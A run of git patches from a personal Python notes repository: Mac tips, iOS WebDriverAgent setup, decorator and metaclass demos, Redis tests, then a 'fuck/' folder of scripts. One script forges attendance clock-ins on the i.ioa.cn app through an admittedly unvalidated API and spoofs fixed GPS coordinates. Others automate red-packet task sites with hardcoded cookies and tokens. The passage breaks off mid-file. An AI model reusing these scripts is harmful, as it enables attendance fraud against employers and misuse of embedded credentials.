7aa9d5d..7b98446 100644 --- a/Mac.md +++ b/Mac.md @@ -122,3 +122,112 @@ at now + 10 minutes <<< "/bin/echo `date` > /tmp/time.log" # 创建任务 at -l # 列出任务 at -c 1 # 显示任务内容 ``` + + +## Mac 键盘图标与对应快捷按键 + +键盘图标 | 快捷按键 +| --- | --- | +⌘ | Command () win +⌃ | Control ctrl +⌥ | Option alt +⇧ | Shift +⇪ | Caps Lock + + +### 文件校验 +Mac md5 替代 md5sum +``` +$ md5 .bashrc +MD5 (.bashrc) = 1f98b8f3f3c8f8927eca945d59dcc1c6 +$ shasum .bashrc +c4d853993e323432cb84359de2c319b9a767b729 .bashrc +``` + + +## Mac 安装 matplotlib + +```bash +pip install matplotlib +``` +测试导入报错 +``` +Traceback (most recent call last): + File "wechat_jump_iOS_py3.py", line 3, in + import matplotlib.pyplot as plt + File "/Users/zhanghe/code/wechat_jump_game/wechat_jump_game.env/lib/python3.6/site-packages/matplotlib/pyplot.py", line 116, in + _backend_mod, new_figure_manager, draw_if_interactive, _show = pylab_setup() + File "/Users/zhanghe/code/wechat_jump_game/wechat_jump_game.env/lib/python3.6/site-packages/matplotlib/backends/__init__.py", line 60, in pylab_setup + [backend_name], 0) + File "/Users/zhanghe/code/wechat_jump_game/wechat_jump_game.env/lib/python3.6/site-packages/matplotlib/backends/backend_macosx.py", line 17, in + from matplotlib.backends import _macosx +RuntimeError: Python is not installed as a framework. The Mac OS X backend will not be able to function correctly if Python is not installed as a framework. See the Python documentation for more information on installing Python as a framework on Mac OS X. Please either reinstall Python as a framework, or try one of the other backends. If you are using (Ana)Conda please install python.app and replace the use of 'python' with 'pythonw'. See 'Working with Matplotlib on OSX' in the Matplotlib FAQ for more information. +``` + +解决办法: +```bash +echo "backend: TkAgg" > ~/.matplotlib/matplotlibrc +``` + + +## iphone 真机调试 + +https://github.com/openatx/facebook-wda + +Install python wda client +```bash +pip install --pre facebook-wda +``` + +https://github.com/Carthage/Carthage +```bash +brew install carthage +``` + +iOS 真机如何安装 WebDriverAgent +```bash +git clone https://github.com/facebook/WebDriverAgent +cd WebDriverAgent +./Scripts/bootstrap.sh +``` +安装完成, 双击`WebDriverAgent.xcodeproj`文件 + +设置证书, 参考: +- https://testerhome.com/topics/7220 +- https://testerhome.com/topics/8085 + + +```bash +brew install libimobiledevice +``` + +端口转发 +```bash +iproxy --help +usage: iproxy LOCAL_TCP_PORT DEVICE_TCP_PORT [UDID] + +iproxy 8100 8100 +``` + +验证服务状态 +``` +curl http://localhost:8100/status +{ + "value": { + "state": "success", + "os": { + "name": "iOS", + "version": "11.2.1" + }, + "ios": { + "simulatorVersion": "11.2.1", + "ip": "192.168.3.44" + }, + "build": { + "time": "Dec 30 2017 21:05:55" + } + }, + "sessionId": "BC69BB2F-945F-4EBC-B94B-5E8C01696F82", + "status": 0 +} +``` From e204d59c46f581b4c19fad23e970451af51f20a7 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Tue, 14 Nov 2017 15:46:47 +0800 Subject: [PATCH 31/43] =?UTF-8?q?=E6=9B=B4=E6=96=B0=E6=96=87=E6=A1=A3?= =?UTF-8?q?=E8=AF=B4=E6=98=8E?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/README.md b/README.md index fe0c529..3ca7cf2 100644 --- a/README.md +++ b/README.md @@ -459,6 +459,19 @@ Tornado安装 如果是企业网站特别是有业务运营的云服务器, 如淘宝品牌、企业电子商务平台、企业微信平台网站、微客来之类的网站,都推荐带宽选择3M-5M起。 + 出网(KBPS) + 是访客使用的带宽 也就是我们所说的带宽 + 入网(KBPS) + 我在云主机上没有下载东西用的流量 + + 入网=上行(上传速度) + 出网=下行(下载速度) + + + 上行带宽:表现为上传速度 + 下行带宽:表现为下载速度 + + 框架选择 世上没有最好的框架,只有最适合你自己、最适合你的团队的框架。 From acf03c96bb044b3b189cc0a14ae62b4c6b10f6af Mon Sep 17 00:00:00 2001 From: Zhang He Date: Tue, 21 Nov 2017 15:51:06 +0800 Subject: [PATCH 32/43] =?UTF-8?q?=E6=96=B0=E5=A2=9E=E8=A3=85=E9=A5=B0?= =?UTF-8?q?=E5=99=A8=E6=B5=8B=E8=AF=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/test_functool_wraps.py | 97 +++++++++++++++++++++++++++++++++++++ 1 file changed, 97 insertions(+) create mode 100644 test/test_functool_wraps.py diff --git a/test/test_functool_wraps.py b/test/test_functool_wraps.py new file mode 100644 index 0000000..4e90da9 --- /dev/null +++ b/test/test_functool_wraps.py @@ -0,0 +1,97 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_functool_wraps.py +@time: 2017-12-26 14:07 +""" + + +from functools import partial + + +def wrap(func): + def call_it(*args, **kwargs): + """wrap func: call_it""" + print 'before call' + return func(*args, **kwargs) + return call_it + + +@wrap +def hello(): + """say hello""" + print 'hello world' + + +from functools import update_wrapper + + +def wrap2(func): + def call_it(*args, **kwargs): + """wrap func: call_it2""" + print 'before call' + return func(*args, **kwargs) + return update_wrapper(call_it, func) + + +@wrap2 +def hello2(): + """test hello""" + print 'hello world2' + + +from functools import wraps + + +def wrap3(func): + @wraps(func) + def call_it(*args, **kwargs): + """wrap func: call_it2""" + print 'before call' + return func(*args, **kwargs) + return call_it + + +@wrap3 +def hello3(): + """test hello 3""" + print 'hello world3' + + +if __name__ == '__main__': + hello() + print 'hello.__name__', hello.__name__ + print 'hello.__doc__', hello.__doc__ + + print + hello2() + print 'hello2.__name__', hello2.__name__ + print 'hello2.__doc__', hello2.__doc__ + + print + hello3() + print 'hello3.__name__', hello3.__name__ + print 'hello3.__doc__', hello3.__doc__ + + +""" +before call +hello world +hello.__name__ call_it +hello.__doc__ wrap func: call_it + +before call +hello world2 +hello2.__name__ hello2 +hello2.__doc__ test hello + +before call +hello world3 +hello3.__name__ hello3 +hello3.__doc__ test hello 3 + +使用 from functools import wraps 修饰过的装饰器, 可以保证原函数的 name 和 doc, 在调试中会起到关键作用 +""" From c519211a33dc6ae7404779bb21de3c3a0863a9e6 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Tue, 28 Nov 2017 15:52:08 +0800 Subject: [PATCH 33/43] =?UTF-8?q?=E6=96=B0=E5=A2=9E=E5=85=83=E7=B1=BB?= =?UTF-8?q?=E6=B5=8B=E8=AF=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/test_metaclass.py | 146 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 146 insertions(+) create mode 100644 test/test_metaclass.py diff --git a/test/test_metaclass.py b/test/test_metaclass.py new file mode 100644 index 0000000..27cef1f --- /dev/null +++ b/test/test_metaclass.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_metaclass.py +@time: 2017/10/26 下午3:49 +@desc: 通过编写自定义 ORM 框架, 学习元类 +@link: https://www.liaoxuefeng.com/wiki/001374738125095c955c1e6d8bb493182103fac9270762a000/001386820064557c69858840b4c48d2b8411bc2ea9099ba000 +""" + + +class Field(object): + def __init__(self, name, column_type): + self.name = name + self.column_type = column_type + + def __str__(self): + return '<%s:%s>' % (self.__class__.__name__, self.name) + + +class StringField(Field): + def __init__(self, name): + super(StringField, self).__init__(name, 'varchar(100)') + + +class IntegerField(Field): + def __init__(self, name): + super(IntegerField, self).__init__(name, 'bigint') + + +class ModelMetaclass(type): + def __new__(cls, name, bases, attrs): + """ + :param cls: 当前准备创建的类的对象(非实例) + :param name: 类的名称 + :param bases: 继承的父类集合 + :param attrs: 类的方法集合 + :return: + """ + print('cls: %s' % cls) + print('name: %r\nbases: %r\nattrs: %r' % (name, bases, attrs)) + + for base in bases: + print('base.__dict__: %r' % base.__dict__) + print('base.__dict__.keys(): %r' % base.__dict__.keys()) + + # 排除掉对 Model 类的修改 + if name == 'Model': + return type.__new__(cls, name, bases, attrs) # 创建类 + # 核心部分: + # 1、动态收集所需类型属性: attrs 中所有 Field 类型的属性 + # 2、动态创建所需类型属性: __table__, __mappings__ + # 3、其它属性和方法保持不变 + mappings = dict() + for k, v in attrs.iteritems(): + if isinstance(v, Field): + print('Found mapping: %s==>%s' % (k, v)) + mappings[k] = v + # 除掉类的所有类属性(避免实例的属性缺失, 意外调用类的属性; 实例属性优先级比类属性高,默认调用实例属性) + for k in mappings.iterkeys(): + attrs.pop(k) + attrs['__table__'] = name.lower() # 假设表名和类名一致 + attrs['__mappings__'] = mappings # 保存属性和列的映射关系 + return type.__new__(cls, name, bases, attrs) # 创建修改后的类 + + +class Model(dict): + # 指示使用 ModelMetaclass 来定制类, 通过 ModelMetaclass.__new__() 动态创建类 + # 因为只有使用者才能根据表的结构定义出对应的类来, 所有的类都只能动态定义 + __metaclass__ = ModelMetaclass + + def __init__(self, **kw): + super(Model, self).__init__(**kw) + + def __getattr__(self, key): + try: + return self[key] + except KeyError: + raise AttributeError(r"'Model' object has no attribute '%s'" % key) + + def __setattr__(self, key, value): + self[key] = value + + def save(self): + fields = [] + params = [] + args = [] + for k, v in self.__mappings__.iteritems(): + fields.append(v.name) + params.append('?') + args.append(getattr(self, k, None)) + sql = 'insert into %s (%s) values (%s)' % (self.__table__, ','.join(fields), ','.join(params)) + print('SQL: %s' % sql) + print('ARGS: %s' % str(args)) + + def delete(self): + pass + + def find(self): + pass + + +def run(): + """ + 测试创建用户类 + :return: + """ + class User(Model): + """ + User Class + Python解释器首先在当前类User的定义中查找 __metaclass__,如果没有找到,就继续在父类Model中查找__metaclass__ + """ + id = IntegerField('id') + name = StringField('username') + email = StringField('email') + password = StringField('password') + + print('User.__dict__: %s' % User.__dict__) + u = User(id=12345, name='Michael', email='test@orm.org', password='my-pwd') + u.save() + + +if __name__ == '__main__': + run() + +""" +类就是一组用来描述如何生成一个对象的代码段 + +type(类名, 父类的元组(针对继承的情况,可以为空),包含属性的字典(名称和值)) + +这里,type 有一种完全不同的能力,它也能动态的创建类。 +type 可以接受一个类的描述作为参数,然后返回一个类。 +根据传入参数的不同,同一个函数拥有两种完全不同的用法是一件很傻的事情,但这在Python中是为了保持向后兼容性 + +元类的本质 +1) 拦截类的创建 +2) 修改类 +3) 返回修改之后的类 + +“元类就是深度的魔法,99%的用户应该根本不必为此操心。 +如果你想搞清楚究竟是否需要用到元类,那么你就不需要它。 +那些实际用到元类的人都非常清楚地知道他们需要做什么,而且根本不需要解释为什么要用元类。” + —— Python界的领袖 Tim Peters +""" From 98aedaa0123db0557ed0d8ca8e2acbbccecdee14 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Tue, 5 Dec 2017 15:54:47 +0800 Subject: [PATCH 34/43] =?UTF-8?q?=E6=96=AD=E7=82=B9=E6=B5=8B=E8=AF=95?= =?UTF-8?q?=E7=BB=A7=E6=89=BF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/test_breakpoint.py | 46 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 test/test_breakpoint.py diff --git a/test/test_breakpoint.py b/test/test_breakpoint.py new file mode 100644 index 0000000..aabc0c5 --- /dev/null +++ b/test/test_breakpoint.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_breakpoint.py +@time: 2017/10/22 下午11:02 +""" + + +class Base(object): + def __init__(self): + self.info = 'Base class' + print '%s init from Base' % self.info + + def show(self): + print '%s show from Base' % self.info + + +class Child(Base): + def __init__(self): + self.info = 'Child class 01' # 子类先赋值再初始化父类, 子类其它方法里使用的这个同名变量是父类中赋的值(非期望,未覆盖) + print '%s init from Child' % self.info + # Base.__init__(self) # 普通继承 + super(Child, self).__init__() # super 继承 + self.info = 'Child class 02' # 先初始化父类子类再赋值, 子类其它方法里使用的这个同名变量是子类中赋的值 + + def show(self): + print '%s show 01 from Child' % self.info + super(Child, self).show() + print '%s show 02 from Child' % self.info + + +if __name__ == '__main__': + child = Child() + child.show() + + +""" +Child class 01 init from Child +Base class init from Base +Child class 02 show 01 from Child +Child class 02 show from Base +Child class 02 show 02 from Child +""" From 0081f322b7c6f4211501c281b9c12c29e61bffd6 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Tue, 12 Dec 2017 15:57:15 +0800 Subject: [PATCH 35/43] =?UTF-8?q?=E6=9B=B4=E6=96=B0=E5=B7=A5=E5=85=B7?= =?UTF-8?q?=E7=B1=BB?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- tools/convert.py | 10 ++++++---- tools/date.py | 12 ++++++++++++ tools/redis_pub_sub.py | 12 +++++++----- 3 files changed, 25 insertions(+), 9 deletions(-) diff --git a/tools/convert.py b/tools/convert.py index 4f31fa3..d3739ef 100644 --- a/tools/convert.py +++ b/tools/convert.py @@ -25,6 +25,8 @@ def test_unescape(): # unicode编码后的汉字的解析 str_xx = '加入到"我的书目选单"中' str_xx = '\xe5\xbd\x93\xe5\x89\x8d\xe5\xb7\xb2\xe8\xbe\xbe\xe5\x88\xb0\xe6\x8a\x93\xe5\x8f\x96\xe9\x85\x8d\xe7\xbd\xae\xe7\x9a\x84\xe6\x9c\x80\xe5\xa4\xa7\xe9\xa1\xb5\xe7\xa0\x81' + str_xx = '\xe9\xaa\x8c\xe8\xaf\x81\xe7\xa0\x81\xe8\xbe\x93\xe5\x85\xa5\xe9\x94\x99\xe8\xaf\xaf, \xe8\xaf\xb7\xe9\x87\x8d\xe6\x96\xb0\xe8\xbe\x93\xe5\x85\xa5\xef\xbc\x81' + str_xx = '\xe6\x9c\xaa\xe7\x9f\xa5\xe8\xae\xbf\xe9\x97\xae\xe6\x9d\xa5\xe6\xba\x90' from HTMLParser import HTMLParser h = HTMLParser() print h.unescape(str_xx) @@ -76,10 +78,10 @@ def test(): if __name__ == "__main__": test() - print system_to_decimal('000000001b2025f6', 16) - print system_to_decimal('0001000100010001', 2) - test_unescape() - test_unicode() + # print system_to_decimal('000000001b2025f6', 16) + # print system_to_decimal('0001000100010001', 2) + # test_unescape() + # test_unicode() """ diff --git a/tools/date.py b/tools/date.py index ee2466d..a126fca 100644 --- a/tools/date.py +++ b/tools/date.py @@ -203,4 +203,16 @@ def test(): time模块的官方文档 https://docs.python.org/2/library/time.html + +模拟 http response header Date 时间格式: + +格林威治时间 +In [4]: time.strftime("%a, %d %b %Y %H:%M:%S GMT", time.gmtime()) +Out[4]: 'Mon, 11 Dec 2017 12:04:25 GMT' + +本地时区时间 +In [5]: time.strftime("%a, %d %b %Y %H:%M:%S %Z") +Out[5]: 'Mon, 11 Dec 2017 20:04:45 CST' + + """ \ No newline at end of file diff --git a/tools/redis_pub_sub.py b/tools/redis_pub_sub.py index 55a98f3..0a98873 100644 --- a/tools/redis_pub_sub.py +++ b/tools/redis_pub_sub.py @@ -79,26 +79,28 @@ def sub_not_loop(self, k): def test_pub(): - q = RedisPubSub('test:aa') - q.pub('hh', '123') + q = RedisPubSub('test:aa', password='123456') + q.pub('hh', '123') # 字符串 + q.pub('hh', {'a': False}) # 字典 + q.pub('hh', json.dumps({'a': False})) # JSON def test_sub(): - q = RedisPubSub('test:aa') + q = RedisPubSub('test:aa', password='123456') r = q.sub('hh') for i in r: print i def test_p_sub(): - q = RedisPubSub('test:*') + q = RedisPubSub('test:*', password='123456') r = q.p_sub('hh') for i in r: print i def test_sub_not_loop(): - q = RedisPubSub('test') + q = RedisPubSub('test:aa', password='123456') r = q.sub_not_loop('hh') print r From f744b5da0649b482d803a22432a35d0bbef355f0 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Tue, 19 Dec 2017 15:58:21 +0800 Subject: [PATCH 36/43] =?UTF-8?q?=E6=96=B0=E5=A2=9EAndroid=E6=96=87?= =?UTF-8?q?=E6=A1=A3=E8=AF=B4=E6=98=8E?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Android.md | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 Android.md diff --git a/Android.md b/Android.md new file mode 100644 index 0000000..a1d1760 --- /dev/null +++ b/Android.md @@ -0,0 +1,3 @@ +## Android中通过adb shell input来模拟滑动、按键、点击事件 + +参考: http://blog.csdn.net/ouyang_peng/article/details/48463059 From cc0ce79b1b367d9b560790b081cc8a642f49b0e1 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Tue, 2 Jan 2018 16:01:57 +0800 Subject: [PATCH 37/43] =?UTF-8?q?=E6=96=B0=E5=A2=9E=E7=88=B1=E5=8A=9E?= =?UTF-8?q?=E5=85=AC=E6=89=93=E5=8D=A1=E7=A5=9E=E5=99=A8?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- fuck/ioa.py | 182 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 182 insertions(+) create mode 100644 fuck/ioa.py diff --git a/fuck/ioa.py b/fuck/ioa.py new file mode 100644 index 0000000..760a699 --- /dev/null +++ b/fuck/ioa.py @@ -0,0 +1,182 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: ioa.py +@time: 2018-01-02 19:55 +""" + + +from __future__ import unicode_literals +from __future__ import print_function + +import json +import time +import requests +from base64 import b64decode +from requests.auth import HTTPBasicAuth + + +REQUESTS_TIME_OUT = (30, 30) + + +s = requests.session() + + +class IoaClient(object): + """ + 爱办公打卡神器(接口参数未校验,此漏洞可利用) + + 方式一(每次都要登录): + ioa_client = IoaClient( + username='13800000000', + password='123456', + ) + ioa_client.check_security_token() + + 方式二(token校验通过免登陆): + ioa_client = IoaClient( + username='13800000000', + password='123456', + security_token='MTM4MTg3MzI1OTNAYWNjb3VudGxvZ2luODY6MTUxNzU3MTU0Njg1ODpiOWJhYWJmNWMzZmZmZDhmMjZiYzFmMWU5MDc4MzdmOA', + staff_id='e9490f62c45d45278ffac841a6d892b8', # 员工编号 + org_id='40b30cfa9f2145b1810e02f953a5b27b', # 组织编号 + ) + ioa_client.check_security_token() + """ + headers = { + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_1 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Mobile/15C153', + 'Host': 'i.ioa.cn', + 'Origin': 'http://i.ioa.cn', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=UTF-8', + } + + auth_username = 'usermobile' + auth_password = 't8kevs1CpGwHB6v8' + + # 上海办公室坐标 + longitude = '121.516476' # 经度 + latitude = '31.311131' # 纬度 + place = '上海市 杨浦区 三门路36号' # 地址(百度坐标有偏移) + + login_status = False + + def __init__(self, username, password, security_token=None, staff_id=None, org_id=None): + self.username = username + self.password = password + self.security_token = security_token + self.staff_id = staff_id + self.org_id = org_id + + if (security_token or staff_id or org_id) and not (security_token and staff_id and org_id): + raise Exception('缺少参数'.encode('utf-8')) + + def check_security_token(self): + """ + 校验 security_token 是否过期 + :return: + """ + if not self.security_token: + return False + security_token_str = b64decode(self.security_token + '=' * (-len(self.security_token) % 4)) + print(security_token_str) + security_token_arr = security_token_str.split(':') + expiration_time = security_token_arr[1] + status = expiration_time > time.time()*1000 + print('check_security_token: %s' % status) + return status + + def login(self): + url = 'https://i.ioa.cn/rs/m/security/login' + payload = { + "username": self.username, + "password": self.password, + "phoneZone": "86", + "accessSource": "ios" + } + request_headers = self.headers.copy() + base_auth = HTTPBasicAuth(self.auth_username, self.auth_password) + res = s.post(url, json=payload, auth=base_auth, headers=request_headers, timeout=REQUESTS_TIME_OUT) + if res.status_code == 200: + data = res.json() + print(json.dumps(data, indent=4, ensure_ascii=False)) + if data['resultCode'] != "0000": + # 登录失败 + print(data['msg']) + return False + + self.staff_id = data['data']['attributes']['staffId'] + self.org_id = data['data']['attributes']['orgId'] + self.security_token = data['data']['attributes']['securityToken'] + self.login_status = True + return True + else: + print(res.status_code) + print(res.content) + return False + + def fuck(self): + """ + 打卡 + + 正确结果: + { + "resultCode": "0000", + "data": { + "clockHistoryId": "b9bfa5c3e24a4a9f8b1407851f842c7b", + "primaryOrgId": "40b30cfa9f2145b1810e02f953a5b27b", + "staffId": "d91d9f3fbc9744848894308e72cb6f4b", + "clockDate": 1514895802029, + "clockTime": "20:23", + "clockType": 1, + "remark": null, + "longitude": "121.516476", + "latitude": "31.311131", + "place": "上海市 杨浦区 三门路36号", + "signType": 0, + "createTime": 1514895802088, + "attIds": null, + "caseId": null + }, + "msg": null + } + + 错误结果: + { + "msg": "服务异常", + "resultCode": "1111", + "data": null + } + :return: + """ + if not self.login_status and not self.check_security_token(): + self.login() + url = 'http://i.ioa.cn/hr/h/clockJsonController/addClockHistory' + + request_headers = self.headers.copy() + request_headers['securityToken'] = self.security_token + + payload = { + "longitude": self.longitude, # 经度 + "latitude": self.latitude, # 纬度 + "place": self.place, # 地址 + "clockType": 1, + "signType": 0, + "staffId": self.staff_id, # 员工编号 + "primaryOrgId": self.org_id # 组织编号 + } + res = s.post(url, json=payload, headers=request_headers, timeout=REQUESTS_TIME_OUT) + print(res.status_code) + print(json.dumps(res.json(), indent=4, ensure_ascii=False)) + + +if __name__ == '__main__': + # 打卡 + ioa_client = IoaClient( + username='13800000000', + password='123456', + ) + ioa_client.fuck() From 882cfb1de7386be6657f5e89ebb4f21b3288d437 Mon Sep 17 00:00:00 2001 From: Zhang He Date: Tue, 20 Mar 2018 12:57:45 +0800 Subject: [PATCH 38/43] =?UTF-8?q?=E6=96=B0=E5=A2=9E=E6=A8=A1=E6=8B=9F?= =?UTF-8?q?=E8=AF=B7=E6=B1=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- fuck/hongbaodaren.py | 63 +++++++++++++ fuck/pphongbao.py | 204 +++++++++++++++++++++++++++++++++++++++++++ fuck/qianka.py | 142 ++++++++++++++++++++++++++++++ fuck/qq_video.py | 124 ++++++++++++++++++++++++++ fuck/vote.py | 187 +++++++++++++++++++++++++++++++++++++++ 5 files changed, 720 insertions(+) create mode 100644 fuck/hongbaodaren.py create mode 100644 fuck/pphongbao.py create mode 100644 fuck/qianka.py create mode 100644 fuck/qq_video.py create mode 100644 fuck/vote.py diff --git a/fuck/hongbaodaren.py b/fuck/hongbaodaren.py new file mode 100644 index 0000000..d897faf --- /dev/null +++ b/fuck/hongbaodaren.py @@ -0,0 +1,63 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: hongbaodaren.py +@time: 2018-03-20 16:52 +""" + +from __future__ import print_function +from __future__ import unicode_literals + +import time +import requests +import json + + +REQUESTS_TIME_OUT = (30, 30) + + +def _get_tc(): + tc = str('%13d' % (time.time() * 1000)) + return tc + + +s = requests.session() + + +headers = { + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D100 Safari/604.1', + 'X-Requested-With': 'XMLHttpRequest', +} + +url = 'http://m.hongbaodaren.com/ajax/task/GetOnLineTask' +params = { + 'type': 'currenttask', + 'timmetamp': _get_tc(), +} + +cookies = { + # 'token': 'AD7932D8E813DA170E1B4C5F8759EAF5CF9A020119A2274678FBE3064B8B2B75BCFB5DD695C710F77E368E704CB6B717B3A6C51D09E2E84CB66C2AAF4E37CCB5CA43945271F0249BCED26A688047456171311700CC485A9583FFD8C1C58EAAAB6983D631C11885C0EA9FA637D2421B4D', + 'token': 'AD7932D8E813DA17D44ACD3676AD96E6F6AF4B3E456340CE6415B923898C2C74ABC5E18A4C010786C118021CB36638F91F1ACDCC68A532AE53E6B627182405A29938FCCA6340BB0A5887A846E90A8A27B86AB79D559AF635F9C9AE1166EA39167B0604EEB66D221F42317BF1842664DE', +} + +request_headers = headers.copy() +request_headers['Host'] = 'm.hongbaodaren.com' +request_headers['Referer'] = 'http://m.hongbaodaren.com/tasklist' + +request_cookie = cookies.copy() + +res = s.get( + url, + params=params, + headers=request_headers, + cookies=request_cookie, + timeout=REQUESTS_TIME_OUT, +) + +print(res.url) +print(res.status_code) +result = res.json() +print(json.dumps(result, indent=4, ensure_ascii=False)) diff --git a/fuck/pphongbao.py b/fuck/pphongbao.py new file mode 100644 index 0000000..ad26f5f --- /dev/null +++ b/fuck/pphongbao.py @@ -0,0 +1,204 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm + @file: pphongbao.py +@time: 2018-03-20 17:45 +""" + +from __future__ import print_function +from __future__ import unicode_literals + +import time +import requests +import json +from scrapy.selector import Selector + +REQUESTS_TIME_OUT = (30, 30) + +HEADERS = { + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D100 Safari/604.1', + 'X-Requested-With': 'XMLHttpRequest', +} + + +class PPHB(object): + def __init__(self, session_id): + self.s = requests.session() + self.cookies = { + 'PHPSESSID': session_id, + '_cb': '1', + 'Hm_lpvt_e91800291a5741f043ef7d78a2580f0b': '1521613708', + 'Hm_lvt_e91800291a5741f043ef7d78a2580f0b': '1521604913,1521604974,1521605859,1521606583', + 'ppport': '10091', + 'fast_s_n': '1', + 'USERINFO': '3lHu6GDZT3cLDA90NDk6wFbDzb3dvkj%2F6UQII%2FN1RVHlRLwrFP2dI3EfT6SFOsq4wPuZmI3CW%2BysJrCMJs4qzVwQZBwjwlsnA%2FMIOd4DD3yihrOJH4qmNnR7VGBRsh7U7s%2BGkrh%2BLSp7wH%2B8OLlSlY7B17SliI1OTr0igTiH31UVnGmO8iDAfVcZZw%2F0AuzRebb3eKdKGSKvUC3RfnWziJJTTDkqxxOxYViVKkDN66KfLFa4h4Tz1NfQbQizMgY4xRPXyJa%2Fm5Vw3Rl1KkJGhZ%2FBzNISHRQkcOY7e2NN32Q2P6WloGKneQDzJzrJvyq0DNl9eGmZS34%3D', + '1c6abf7a3ce9f84965344760d015a2ae': '1', + 'scheme': 'com.sport.aerobico', + } + + @staticmethod + def _get_tc(): + tc = str('%13d' % (time.time() * 1000)) + return tc + + task_list = [] + + def get_list(self): + url = 'http://pphongbao.com/index.php/fasttask/index' + params = {} + + request_headers = HEADERS.copy() + request_headers['Host'] = 'pphongbao.com' + request_headers['Referer'] = 'http://pphongbao.com/' + + request_cookie = self.cookies.copy() + + res = self.s.get( + url, + params=params, + headers=request_headers, + cookies=request_cookie, + timeout=REQUESTS_TIME_OUT, + ) + + print(res.url) + print(res.status_code) + + self.cookies.update(res.cookies) + # print(res.content) + # result = res.json() + # print(json.dumps(result, indent=4)) + + response = Selector(res) + + # 进行中任务 + xpath_list_process = '//ul[@class="type-reserved"]/li[@class!="item-divider pp-flex"]' + res_list_process = response.xpath(xpath_list_process) + + process_result = [] + for item in res_list_process: + data_item = { + 'data_index': item.xpath('./@data-index').extract_first(), + 'data_id': item.xpath('./a/@data-id').extract_first(), + 'data_righttime': item.xpath('./a/@data-righttime').extract_first(), + 'data_amount': item.xpath('./a/@data-amount').extract_first(), + 'item_title': item.xpath('.//div[@class="item-title"]/text()').extract_first(default='').lstrip( + '搜索: '), + } + process_result.append(data_item) + print('进行中的任务') + print(json.dumps(process_result, indent=4, ensure_ascii=False)) + # 任务列表 + xpath_list = '//ul[@class="type-fast"]/li[@class!="item-divider pp-flex"]' + + res_list = response.xpath(xpath_list) + + task_result = [] + for item in res_list: + data_item = { + 'data_index': item.xpath('./@data-index').extract_first(), + 'data_id': item.xpath('./a/@data-id').extract_first(), + 'data_righttime': item.xpath('./a/@data-righttime').extract_first(), + 'data_amount': item.xpath('./a/@data-amount').extract_first(), + 'item_title': item.xpath('.//div[@class="item-title"]/text()').extract_first(default='').lstrip('搜索: '), + } + task_result.append(data_item) + print('新任务') + print(json.dumps(task_result, indent=4, ensure_ascii=False)) + return task_result + + def start_task(self, task_id): + url = 'http://pphongbao.com/index.php/fasttask/startTask' + + sign_task = '' + # TODO + + request_headers = HEADERS.copy() + request_headers['Host'] = 'pphongbao.com' + request_headers['Referer'] = 'http://pphongbao.com/' + request_headers['sign'] = sign_task + + request_cookie = self.cookies.copy() + + form_data = { + 'fast_id': task_id, + '_sysversion': '11.2.6', + '_mobile': '15D100', + '_width': '320', + 'sign': sign_task, + } + + res = self.s.post( + url, + data=form_data, + headers=request_headers, + cookies=request_cookie, + timeout=REQUESTS_TIME_OUT, + ) + print(res.status_code) + print(res.content) + self.cookies.update(res.cookies) + + def get_detail(self, task_id): + url = 'http://pphongbao.com/index.php/fasttask/detail' + params = { + 'fast_id': task_id, + } + + request_headers = HEADERS.copy() + request_headers['Host'] = 'pphongbao.com' + request_headers['Referer'] = 'http://pphongbao.com/' + + request_cookie = self.cookies.copy() + + res = self.s.get( + url, + params=params, + headers=request_headers, + cookies=request_cookie, + timeout=REQUESTS_TIME_OUT, + ) + + print(res.url) + print(res.status_code) + print(res.content) + + def gave_up_task(self, task_id): + url = 'http://pphongbao.com/index.php/fasttask/giveupTask' + request_headers = HEADERS.copy() + request_headers['Host'] = 'pphongbao.com' + request_headers['Referer'] = 'http://pphongbao.com/' + + request_cookie = self.cookies.copy() + + form_data = { + 'fast_id': task_id, + } + + res = self.s.post( + url, + data=form_data, + headers=request_headers, + cookies=request_cookie, + timeout=REQUESTS_TIME_OUT, + ) + print(res.status_code) + print(res.content) + self.cookies.update(res.cookies) + +if __name__ 